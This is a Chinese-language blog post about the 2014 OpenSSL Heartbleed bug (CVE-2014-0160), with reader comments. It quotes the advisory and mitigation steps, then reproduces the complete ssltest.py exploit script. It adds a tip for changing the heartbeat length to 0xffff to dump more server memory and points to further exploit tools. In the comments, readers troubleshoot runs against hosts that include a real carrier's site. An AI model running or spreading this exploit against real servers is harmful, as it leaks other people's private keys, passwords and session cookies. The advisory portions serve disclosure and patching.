OpenSSL Security Advisory [07 Apr 2014]

========================================

TLS heartbeat read overrun (CVE-2014-0160)

==========================================

A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server.

Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.

Thanks for Neel Mehta of Google Security for discovering this bug and to Adam Langley <agl@chromium.org> and Bodo Moeller <bmoeller@acm.org> for preparing the fix.

Affected users should upgrade to OpenSSL 1.0.1g. Users unable to immediately upgrade can alternatively recompile OpenSSL with -DOPENSSL_NO_HEARTBEATS.

1.0.2 will be fixed in 1.0.2-beta2.

在 heartbleed 的官网上有关于 CVE-2014-0160 漏洞的详细信息,这是关于 OpenSSL 的信息泄漏漏洞导致的安全问题。改 Heartbleed bug 可以让互联网的任何人读取系统保护内存,这种妥协密钥用于识别服务提供者和加密流量,用户名和密码的和实际的内容。该漏洞允许攻击者窃听通讯,并通过模拟服务提供者和用户来直接从服务提供者盗取数据。


此漏洞为本年度互联网上最严重的安全漏洞,影响至少两亿中国网民。需要在https开头网址登录的网站,初步评估有不少于30%的网站中招,其中包括大家最常用的购物、网银、社交、门户等知名网站。”

石晓虹介绍说,目前国内使用https的网站都是跟支付和敏感用户数据相关的。据他了解,今天下午,大量网站已开始紧急修复此OpenSSL高危漏洞,但是修复此漏洞普遍需要半个小时到一个小时时间,大型网站修复时间会更长一些。

石晓虹提醒广大互联网服务商,尽快将OpenSSL升级至1.0.1g进行修复。同时建议广大网友,在此漏洞得到修复前,暂时不要在受到漏洞影响的网站上登录账号。

OpenSSL是为网络通信提供安全及数据完整性的一种安全协议,囊括了主要的密码算法、常用的密钥和证书封装管理功能以及SSL协议,目前正在各大网银、在线支付、电商网站、门户网站、电子邮件等重要网站上广泛使用。

OpenSSL“心脏出血”漏洞利用方式

利用该漏洞,黑客坐在自己家里电脑前,就可以实时获取到约30%的https开头网址的用户登录账号和密码、cookie等敏感数据,影响网银、知名购物网站等。

漏洞成因

OpenSSL Heartbleed模块存在一个BUG,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的openssl服务器内存中长大64K的数据。

存在该漏洞的版本

OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable

OpenSSL 1.0.1g is NOT vulnerable

OpenSSL 1.0.0 branch is NOT vulnerable

OpenSSL 0.9.8 branch is NOT vulnerable

修复建议

使用低版本SSL的网站,并尽快按如下方案修复该漏洞:

升级OpenSSL 1.0.1g

使用-DOPENSSL_NO_HEARTBEATS参数重新编译低版本的OpenSSL以禁用Heartbleed模块


修补方式:OpenSSL "heartbleed" 的安全漏洞


OpenSSL “heartbleed” 漏洞利用程序脚本 POC:

openssl.py / ssltest.py,用法:openssl.py ip/域名 -p 端口

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

下载地址:

openssl.py.rarssltest.py.rar,(提示:其实这俩文件内容完全一样,只是换行符制式不一样。)

提示:

poc作者留了一手,每次只dump 16kb 内存。

那个python poc里面的:

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

改成

hb = h2bin('''
18 03 02 00 03
01 ff ff
''')
for b in xrange(0, len(s), 16):

改成

for b in xrange(0, len(s), 64):

相关内容:

openssl 多线程 多域名 EXP,支持自定义端口,保存二进制文件,节省空间

openssl 漏洞利用程序,支持smtp, pop3, imap, ftp, or xmpp的POC

OpenSSL 漏洞利用程序脚本 POC,OpenSSL“heartbleed”重大安全漏洞!

留言评论(旧系统):

佚名 @ 2014-04-09 14:31:44

核总 现在好像多事转发的 很少见有原创了

本站回复:

嗯,一是没那么多时间去写原创,二是也没那么多原创可写(谁他么的有时间和精力以及内容保证一天写几篇原创)。 所以大部分都在转载有意义的内容,以及讨论(大部分原创内容都以讨论形式存在了)。

匿名 @ 2014-04-09 15:30:17

小羔羊发言,有这么厉害嘛

本站回复:

额……

abc @ 2014-04-09 15:44:29

现在36看到了,然后跑来核总这边又看一遍,下午又在知乎看到了⊙▽⊙,感觉就是,大事件!! 然后想想,跟我这种菜鸟一毛钱关系都没π_π

本站回复:

哈哈哈……

佚名 @ 2014-04-09 16:14:14

旁边坐着一个外行,合作起来感觉微艹蛋

本站回复:

和外行就没法合作!相当的操蛋!

佚名 @ 2014-04-09 22:36:12

外行也比小白强啊。今天看到好多人评论,都以为是XP停止更新导致的。还有人喊“应该把微软赶出中国”。

本站回复:

汗,没文化真可怕……

佚名 @ 2014-04-10 12:18:08

TK说:“这两天四处找人要各种 Heartbleed 工具的,注意检查一下代码,别被人反搞。如果代码是 Python 版,更得格外留意。今年 Python 刚出了一个 recvfrom_into() 函数的缓冲区溢出(CVE-2014-1912)。利用这个漏洞,完全可以设计出非常隐蔽的 Exploit 反噬后门。”

本站回复:

我擦,好贱……螳螂捕蝉黄雀在后……

gotope @ 2014-04-10 18:18:04

for b in xrange(0, len(s), 16): 这个16是显示结果的步长,不需要改为64

本站回复:

嗯?寡人对py不太熟……

佚名 @ 2014-04-12 11:43:14

大神,我对这个代码不是很熟悉呀~我觉得那个sslv3记录结构里第一个字节是type,第二三字节是长度,第四字节就是数据了,然后那个ver是怎么出来的????

本站回复:

嗯,网上有分析,其中就有SSLv3记录数据结构说明: 关于 OpenSSL“心脏出血”漏洞的分析:http://www.oschina.net/news/50563/openssl-hole

佚名 @ 2014-04-13 05:44:13

怎么使用?windos下CMD下使用?

本站回复:

先安装 python 运行环境。

佚名 @ 2014-04-13 09:34:34

[root@www bin]# python openssl.py 1.2.3.4 -p 443 File "openssl.py", line 47 pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) ^ SyntaxError: invalid syntax 何解?

本站回复:

你都自问自答了……

佚名 @ 2014-04-13 09:39:13

centos5默认2.4.3版本太低了,更新下就好了。

本站回复:

嗯。

佚名 @ 2014-04-16 11:12:50

各位大哥 小弟新手执行脚本的时候遇到一下错误: [root@ton1 py]# python openssl.py www.10086.cn -p 443 Connecting... Sending Client Hello... Waiting for Server Hello... ... received message: type = 22, ver = 0300, length = 74 ... received message: type = 22, ver = 0300, length = 4210 ... received message: type = 22, ver = 0300, length = 4 Sending heartbeat request... Traceback (most recent call last): File "openssl.py", line 136, in <module> main() File "openssl.py", line 133, in main hit_hb(s) File "openssl.py", line 86, in hit_hb typ, ver, pay = recvmsg(s) File "openssl.py", line 71, in recvmsg hdr = recvall(s, 5) File "openssl.py", line 61, in recvall data = s.recv(remain) socket.error: [Errno 104] Connection reset by peer 求指导,该怎么解决!

本站回复:

socket.error: [Errno 104] Connection reset by peer,网络连接重置/中断,原因可能是多方面的: 1、服务器把你封了…… 2、你网络不稳定,掉线。 3、服务器的并发连接数过多,关闭了一部分。

dark7king @ 2014-04-22 15:38:00

hexdump(pay) 是输出内存信息,我想知道如何利用python将pay输出到文件中,我对python不太了解,这pay是什么数据类型。同时我还想对pay当中的数据进行筛选判断,如何操作。

本站回复:

我对py也不太熟,你百度下看看。

佚名 @ 2014-04-23 03:57:30

root@kali:/# python 1.py 1.1.1.1 Connecting... Sending Client Hello... Waiting for Server Hello... ... received message: type = 22, ver = 0302, length = 58 ... received message: type = 22, ver = 0302, length = 545 ... received message: type = 22, ver = 0302, length = 397 ... received message: type = 22, ver = 0302, length = 4 Sending heartbeat request... Unexpected EOF receiving record header - server closed connection No heartbeat response received, server likely not vulnerable

本站回复:

1.1.1.1? so?

佚名 @ 2014-05-15 18:25:33

print ' %04x: %-48s %s' % (b, hxdat, pdat) ^ SyntaxError: invalid syntax

本站回复:

so?

佚名 @ 2014-06-11 17:13:45

ubuntu上安装了apache来模拟服务器,也支持openssl,为什么会出现Unexpected EOF receiving record header - server closed connection这个问题,求大神指点。 root@ubuntu:/home/zyw/下载# python openssl.py 127.0.0.1 Connecting... Sending Client Hello... Waiting for Server Hello... ... received message: type = 22, ver = 0302, length = 58 ... received message: type = 22, ver = 0302, length = 712 ... received message: type = 22, ver = 0302, length = 397 ... received message: type = 22, ver = 0302, length = 4 Sending heartbeat request... Unexpected EOF receiving record header - server closed connection No heartbeat response received, server likely not vulnerable

本站回复:

嗯,对apache和openssl不太熟,你百度一下。

佚名 @ 2015-03-10 13:23:45

Connecting... Traceback (most recent call last): File "/tmp/openssl.py", line 136, in <module> main() File "/tmp/openssl.py", line 115, in main s.connect((args[0], opts.port)) File "/usr/local/python27/lib/python2.7/socket.py", line 224, in meth return getattr(self._sock,name)(*args) socket.error: [Errno 111] Connection refused 求大神解答下怎么解决这个问题,我是小白,不懂这个。

本站回复:

连接失败。